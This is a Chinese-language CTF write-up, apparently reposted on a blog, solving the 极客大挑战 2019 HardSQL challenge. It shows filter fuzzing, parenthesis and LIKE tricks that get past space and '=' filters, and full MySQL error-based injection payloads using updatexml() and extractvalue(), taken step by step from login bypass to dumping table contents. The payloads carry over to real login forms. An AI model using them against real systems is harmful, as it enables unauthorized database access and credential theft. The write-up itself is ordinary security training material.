当前位置: 首页 > news >正文

非常经典的一道SQL报错注入题目[极客大挑战 2019]HardSQL 1(两种解法!)

题目环境:
image.png

没错,又是我,这群该死的黑客竟然如此厉害,所以我回去爆肝SQL注入,这次,再也没有人能拿到我的flag了
做了好多这个作者出的题了,看来又要上强度了

判断注入类型

username:admin
password:1
这里把参数password作为注入点

image.png
1'
image.png

单引号的字符型注入

万能密码注入
1' or '1'='1
image.png

万能密码注入被链接
猜测某些字符或者关键字被过滤

SQL注入字典查过滤字符
image.png
Intruder字典爆破
image.png
光标选中参数password的值1-Add选择爆破目标image.png
选用字典
image.png
Start attack开始爆破
image.png
OK
image.png
爆破结果:
image.png

741为过滤内容
可以看到很多字符=、–+、/**/和一些注入命令union、by、‘1’='1等被过滤

继续测试

admin
1’ or

image.png
image.png

可以看到被拦截了
通过刚才的字典爆破,可以知道1’和or是没有被过滤的
那么真相只有一个,卧槽,空格被过滤了,我直呼好家伙

刚开始本想尝试编码绕过空格,结果不行,这里猜测到了空格限制

空格限制

admin
1’(or)

image.png

like没有被过滤,使用like可以绕过=号,like <=> =

重新构造万能密码
1'or((1)like(1))#
image.png
image.png

可以看到绕过了空格限制
同时也登陆成功了
然后想到了之前做过很类似的一道题
SQL报错注入也用到了空格限制
(已经试了堆叠注入和联合注入都不行)
这里就索性试一下SQL报错注入

知识一、

SQL报错注入常用函数

两个基于XPAT(XML)的报错注入函数
函数updatexml() 是mysql对xml文档数据进行查询和修改的xpath函数
函数extractvalue() 是mysql对xml文档数据进行查询的xpath函数
注入原理:
(在使用语句时,如果XPath_string不符合该种类格式,就会出现格式错误,并且会以系统报错的形式提示出错误!)
(局限性查询字符串长度最大为32位,要突破此限制可使用right(),left(),substr()来截取字符串)

其它
函数floor() mysql中用来取整的函数
函数exp() 此函数返回e(自然对数的底)指数X的幂值的函数

首先使用updatexml()函数进行SQL报错注入
爆库
1'or(updatexml(1,concat(0x7e,database(),0x7e),1))#
image.png

得到库名geek

查表
1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))#
image.png

得到数据表H4rDsq1

爆字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))#
image.png

得到三个字段:id、username、password

查字段内容
1'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1)),0x7e),1))#
image.png

得到前一半flag值flag{389c9161-c2eb-403a-80

使用right()突破字符限制
1'or(updatexml(1,concat(0x7e,(select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))#
image.png

得到后一段flag值b-403a-8062-80f219ca1c30}

拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

使用extractvalue()函数进行SQL报错注入

知识:^这个符号可以绕过or的限制
这两种函数大同小异,不再赘述
当然也可以不使用^来绕过or限制,单一的()绕过空格限制也可以
大家可以看下边进行对比学习

1'^extractvalue(1,concat(0x7e,(select(database()))))#
image.png
image.png
1'or(extractvalue(1,concat(0x7e,(select(database())))))#
image.png
image.png

好了大家已经明显看到了^和()绕过不同限制的区别
那么下面就给大家一直演示^绕过or限制了(上一个updatexml()函数使用的是()绕过空格限制)

1'^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))#
image.png
1'^extractvalue(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1))))#
image.png
使用right()突破字符限制
1'^extractvalue(1,right(concat(0x7e,(select(group_concat(password))from(H4rDsq1))),30))#
image.png
拼接得到最终flag:
flag{389c9161-c2eb-403a-8062-80f219ca1c30}

http://www.lryc.cn/news/232153.html

相关文章:

  • 创建一个用户test且使用testtab表空间及testtemp临时表空间并授予其权限,密码随意
  • Linux网络应用层协议之http/https
  • LLM(四)| Chinese-LLaMA-Alpaca:包含中文 LLaMA 模型和经过指令微调的 Alpaca 大型模型
  • 虚拟机CentOS 8 重启后不能上网
  • 让AI拥有人类的价值观,和让AI拥有人类智能同样重要
  • 《C++避坑神器·十七》找到程序崩溃Bug的一个实用方法:dump调试
  • ROS stm32 CAN通信
  • 简单地聊一聊Spring Boot的构架
  • 【算法】复习搜索与图论
  • 【KCC@南京】KCC南京数字经济-开源行
  • 苍穹外卖-day11
  • git_07_协同开发
  • 对比国内主流开源 SQL 审核平台 Yearning vs Archery
  • Mistral 7B 比Llama 2更好的开源大模型 (三)
  • 关于 Git 你了解多少?
  • 关于Elasticsearch的自动补全、数据同步和集群,以下是相关的知识点
  • linux套接字-Socket
  • debian 修改镜像源为阿里云【详细步骤】
  • 从0到0.01入门React | 004.精选 React 面试题
  • Linux 本地zabbix结合内网穿透工具实现安全远程访问浏览器
  • 【以图会意】文件系统从外存到内存到用户空间
  • 一、交换配置
  • 验证码:EasyDL 机器学习识别与云码平台一站式识别
  • postgreSQL中的高速缓存
  • 我把MySQL运行在Docker上,差点完了……
  • 【华为OD题库-023】文件目录大小-java
  • 4. 【自动驾驶与机器人中的SLAM技术】点云中的拟合问题和K近邻
  • 正点原子嵌入式linux驱动开发——Linux ADC驱动
  • 自动化测试介绍和分类,看这一篇就够了
  • Debian中执行脚本 提示没有那个文件或目录